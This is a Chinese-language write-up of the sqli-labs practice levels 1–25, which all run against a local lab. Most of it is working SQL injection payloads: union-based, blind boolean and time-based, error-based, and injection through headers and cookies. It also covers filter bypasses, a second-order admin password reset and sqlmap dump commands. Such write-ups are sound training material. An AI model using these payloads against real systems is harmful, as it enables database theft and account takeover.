sqli-labs writeup

1

union注入 有報錯 字符型注入

http://localhost/sqli-labs-master/Less-1/?id=1'

輸入?id=1'報錯

輸入?id=1 and 1=1 正常

輸入?id=1 and 1=2 正常 說明非數字型,爲字符型,輸入結果被兩個單引號'  '包裹起來

輸入?id=1"正常 再次確認確實是單引號包裹

http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 --+

輸入order by 10 --+ 報錯

輸入order by 4 --+ 報錯

輸入order by 3 --+ 正常 說明有三列

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

輸入-1' union select 1,2,3 --+ 聯合查詢確定輸出點,-1可以將前面查詢結果置空

確定是2,3是輸出點

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,user(),database() --+

替換2,3爲函數,user(),database(),可查詢用戶名和當前庫名

下面正式開始

爆庫:

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

爆表:

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+

爆列:

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="f1ag" --+

爆值:

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(your_flag) from security.f1ag --+

得到flag

flag{SQLInjection_is_Very_Fun_and_Dangerous!}

 

或者直接用sqlmap跑

查庫:

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" --current-db --batch

查表:

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" -D security --tables --batch

查列:

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" -D security -T f1ag --columns --batch

查值:

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" -D security -T f1ag -C your_flag --dump --batch

得到flag:

flag{SQLInjection_is_Very_Fun_and_Dangerous!}

 

也可以一句命令全爆:

C:\Users\Acon\Desktop\Tools\sqlmap-master>python sqlmap.py -u "http://localhost/

sqli-labs-master/Less-1/?id=1" --current-db --dump --batch

 

2 

union注入 有報錯 數字型

輸入?id=1'報錯

輸入?id=1"報錯

輸入?id=1 and 1=1 正常

輸入?id=1 and 1=2 錯誤 說明是數字型注入,兩邊沒有單雙引號

構建?id=-1 union select 1,2,database() --+ 手工注入

直接sqlmap跑結果

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-2/?id=1" --current-db --dump --batch

 

3

union注入 有報錯 字符型注入

輸入?id=1'根據報錯信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

中間是被一對單引號和括號包裹起來(' ')

構建?id=-1') union select 1,2,database() --+ 手工注入

或直接sqlmap跑結果

python sqlmap.py -u "http://localhost/sqli-labs-master/Less-3/?id=1" --current-db --dump --batch

 

4

union注入 有報錯 字符型注入

輸入?id=1'正常

輸入?id=1"報錯

根據提示near '"1"") LIMIT 0,1' at line 1

中間被(" ")包裹起來

構建?id=-1") union select 1,2,database() --+手工注入

或直接sqlmap跑結果

 

5

布爾型盲注 字符型

輸入?id=1'報錯 根據提示是由' '包裹起來,正確只顯示you are in…

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and length(user())>0  -- # //判斷是否爲mysql

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and ord(mid(user(),1,1))=114  -- # //返回正常說明數據庫權限爲root

判斷爲布爾型盲注

用sqlmap跑結果

 

6

布爾型盲注 字符型

與上一題一樣差別在被“”包裹

http://127.0.0.1/sqli-labs-master/Less-5/?id=1’ and sleep(5)--+ 延時返回 (時間型盲注用)

這裏利用了sleep函數,基於時間的盲注。我們可以看到使用sleep函數後網站延遲了5秒說明我們插入的語句被執行了。存在注入。

這裏就說說mysql中的sleep函數在注入中的作用,一般在頁面說明一點返回都沒有,所以語句都無返回的時候就會利用到sleep這個函數來確定我們的語句有沒有被執行。一般基於布爾的盲注比基於時間的盲注少見很多。

直接用sqlmap跑

 

7

 布爾型盲注 字符型 過濾註釋符

1'報錯,其他不報錯,說明被''包裹,但構建id=1' and 1=1 --+還是報錯,id=1' and 1='1 正常

說明本題把註釋符號過濾了

http://127.0.0.1/sqli-labs-master/Less-7/?id=1' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database()  AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and 1='1 返回正常

又回到布爾型盲注,手工需要一個個猜測字符

直接用sqlmap跑

 

8

布爾型盲注 無報錯 字符型

與第7關一樣,只是把報錯關閉了,不過沒有過濾註釋符

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'  AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database()  AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105  -- #

直接sqlmap跑

 

9

時間型盲注 無報錯 字符型

輸入任何東西都只返回一個頁面,無報錯,構建?id=1' and sleep(5) --+發現有延時,時間型盲注

http://127.0.0.1/sqli-labs-master/Less-9/?id=3'   AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database()  AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 and sleep(5)  -- #

直接sqlmap跑

 

10 

時間型盲注 無報錯 字符型

與第九關一樣,包裹符合由'改爲"

直接sqlmap跑 (需要提升等級水平 --level 3)

 

11

POST注入 有報錯 字符型

輸入用戶名admin和密碼admin登錄成功,再次登錄用bs工具抓包然後ctrl+R發送到重發器

在uname=處輸入admin") order by 3 --+ 報錯,輸入admin") order by 2 --+正常,證明是兩列

構造POST內容:uname=-admin' union select 1,(SELECT+CONCAT(info)+FROM+INFORMATION_SCHEMA.PROCESSLIST) --+&passwd=&submit=Submit

返回查詢語句:

Your Password:SELECT username, password FROM users WHERE username='-admin' union select 1,(SELECT CONCAT(info) FROM INFORMATION_SCHEMA.PROCESSLIST) -- ' and password='' LIMIT 0,1

說明是查詢的username 和password兩列

繼續構造post內容查詢(與第一關一樣),最後一次查詢:

uname=' union select 1, (SELECT+GROUP_CONCAT(your_flag+SEPARATOR+0x3c62723e)+FROM+security.f1ag) --+&passwd=&submit=Submit 發送返回flag

(注意:不要用瀏覽器構造POST發送,瀏覽器會轉碼特殊字符,造成失敗)

或者直接用sqlmap跑

python ./sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --forms --current-db --dump --batch

或者python ./sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-11/ --data="uname=111&passwd=111&submit=Submit --current-db --dump --batch

 

12

POST注入 有報錯 字符型

與第十一關一樣,字符型改由(" ")包裹

在bs重發器uname=處輸入admin") --+登錄成功,證明由(" ")包裹

(但在瀏覽器Username : 框輸入admin") --+,因特殊字符被轉碼登錄失敗,卻發現報錯near '") and password=("") LIMIT 0,1' at line 1)

bs構造POST內容

uname=") union select 1, (SELECT+GROUP_CONCAT(your_flag+SEPARATOR+0x3c62723e)+FROM+security.f1ag) --+&passwd=&submit=Submit

或直接sqlmap跑

 

13

POST注入 布爾型盲注 有報錯 字符型

字符型改由(' ')包裹 ,但本次沒有顯示位置,頁面只顯示登錄成功或失敗

在bs重發器uname=處輸入admin') --+顯示登錄成功,證明由(' ')包裹

(但在瀏覽器Username : 框輸入admin') --+,因特殊字符被轉碼登錄失敗,卻發現報錯near '') and password=('') LIMIT 0,1' at line 1)

bs只能構造uname=admin') AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(database()  AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),6,1))=105 --+&passwd=&submit=Submit 語句,登錄成功

手工只能一個個驗證字符,很慢                                                             

直接sqlmap跑

 

14

POST注入 布爾型盲注 有報錯 字符型

與第十三關一樣,字符型改由" "包裹 ,沒有顯示位置,頁面只顯示登錄成功或失敗

在bs重發器uname=處輸入admin" --+,顯示登錄成功,證明由" "包裹

(但在瀏覽器Username : 框輸入admin" --+,因特殊字符被轉碼登錄失敗,卻發現報錯near '" and password="" LIMIT 0,1' at line 1)

直接sqlmap跑

 

15

POST注入 布爾型盲注 沒有報錯

與第十一關一樣,字符型改由' '包裹 ,不過沒有報錯信息,只有登錄成功和失敗頁面

在bs重發器uname=處輸入admin' --+顯示登錄成功,證明由' '包裹

(但在瀏覽器Username : 框輸入admin' --+,顯示登錄失敗,不會報錯)

直接用sqlmap跑(需要提升等級水平 --level 3)

(如果速度較慢,爲提高速度可以加--threads 10 --technique BET)

 

16

POST注入 布爾型盲注 沒有報錯

與第十五關一樣,字符型改由(" ")包裹 ,沒有報錯信息,只有登錄成功和失敗頁面

在bs重發器uname=處輸入admin") --+顯示登錄成功,證明由(" ")包裹

直接用sqlmap跑

 

17

POST注入 有報錯

看到首頁顯示的是[PASSWORD RESET]密碼重置,輸入用戶名admin密碼admin顯示更新密碼成功

猜測一下這個頁面的sql語句是:update table set password=’newpassword’ where username = ‘name’;

用戶名輸入admin 密碼輸入' or 1=1 and sleep(5) --+有延時返回,可以時間盲注

直接用sqlmap跑,需要用burp抓包,然後獲取整個頁面的信息後保存在1.txt文件中,然後

python sqlmap.py -r 1.txt -p passwd --batch --tech E --dbms mysql --current-db --dump

 

18

POST注入 User-Agent注入

成功登錄後發現提示Your User Agent is: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0想到User-Agent注入

用bs抓包改User-Agent:' and updatexml(1,concat(0x3a,database()),1))#

成功返回XPATH syntax error: ':security'

將bs抓取的信息保存爲1.txt,User-Agent行後加*,直接用sqlmap跑

python sqlmap.py -r 1.txt --dbms mysql --batch --current-db --dump --threads 10

 

 

19

POST注入 referer注入

成功登錄後發現提示Your Referer is: http://127.0.0.1/sqli-labs-master/Less-19/ 想到是referer注入

用bs抓包改referer:

 ' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 0,1)),1))#  //獲取表名

' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name="user" limit 0,1)),1))#     //獲取指定表字段名

將bs抓取的信息保存爲1.txt,Referer行後加*,直接用sqlmap跑

python sqlmap.py -r 1.txt --dbms mysql --batch  -D security -T f1ag -C your_flag --dump --threads 10

 

20

POST注入 cookie注入

打開後顯示YOUR COOKIE : uname = admin and expires: Tue 01 Oct 2019 - 09:16:17 猜測是cookie注入

用bs抓包改cookie

uname=-1' union select 1,user(),database()-- # //獲取當前用戶名和庫名

將bs抓取的信息保存爲1.txt,cookie行後加*,直接用sqlmap跑

python sqlmap.py -r 1.txt --dbms mysql --batch  -D security -T f1ag -C your_flag --dump --threads 10

或者

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-20/ --cookie="uname=admin" --dbms mysql --batch  -D security -T f1ag -C your_flag --dump --threads 10 --level 3

 

第21關

POST注入 cookie注入 有加密 字符型

打開發現還是cookie注入,跟上第二十關一樣,只不過base64加密了

bs抓包改cookie:

Cookie: uname=LTEnKSB1bmlvbiBzZWxlY3QgMSx1c2VyKCksZGF0YWJhc2UoKS0tICM=  //獲取當前用戶名和庫名

(就是Cookie: uname=-1') union select 1,user(),database()-- #的base64加密)

將bs抓取的信息保存爲1.txt,cookie行後加*,直接用sqlmap跑,此次需要加--tamper base64encode.py參數

python sqlmap.py -r 1.txt --dbms mysql --batch  -D security -T f1ag -C your_flag --dump --threads 10 --tamper base64encode.py

(或者:python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-21/ --cookie="uname=YWRtaW4%3D" --tamper base64encode.py --dbms mysql --batch  -D security -T f1ag -C your_flag --dump --threads 10 --level 3

注意該語句不用txt文件,但運行效率不高,所以建議用上面的txt語句:)

 

22

POST注入 cookie注入 有加密 字符型

本關和上一關一樣,不過包含字符由(' ')改爲" "

bs抓包改cookie:

Cookie: uname=LTEiIHVuaW9uIHNlbGVjdCAxLHVzZXIoKSxkYXRhYmFzZSgpLS0gIw==  //獲取當前用戶名和庫名

(就是Cookie: uname=-1" union select 1,user(),database()-- #的base64加密)

將bs抓取的信息保存爲1.txt,cookie行後加*,直接用sqlmap跑,還需要加--tamper base64encode.py參數

python sqlmap.py -r 1.txt --dbms mysql --batch  -D security -T f1ag -C your_flag --dump --threads 10 --tamper base64encode.py

 

23 

union注入 有報錯 過濾註釋符

本關開始進入高級關

直接使用sqlmap

python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-23/?id=1 --current-db --dump --batch

 

24

更改管理密碼

利用帶有管理員賬號的註冊用戶名,在修改密碼的時候達到修改管理員賬號密碼的效果,,

註冊用戶名:admin’ or ‘1’=’1  密碼爲 admin

註冊成功後,登錄進去修改密碼,將密碼改爲 123

更改後即可發現,admin用戶的密碼也被改成了123,

自行腦補一下,update tables set password=’123’ where username=’admin’ or ‘1’=’1’

 

25 

union注入 有報錯 過濾or和and

該題和第一關一樣,界面提示過濾or和and,雙寫or可繞過oorr

-1' union select 1,2,(SELECT+GROUP_CONCAT(your_flag+SEPARATOORR+0x3c62723e)+FROM+security.f1ag)--+

或者sqlmap跑,在tamper目錄增加腳本繞過

 

26

待續

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章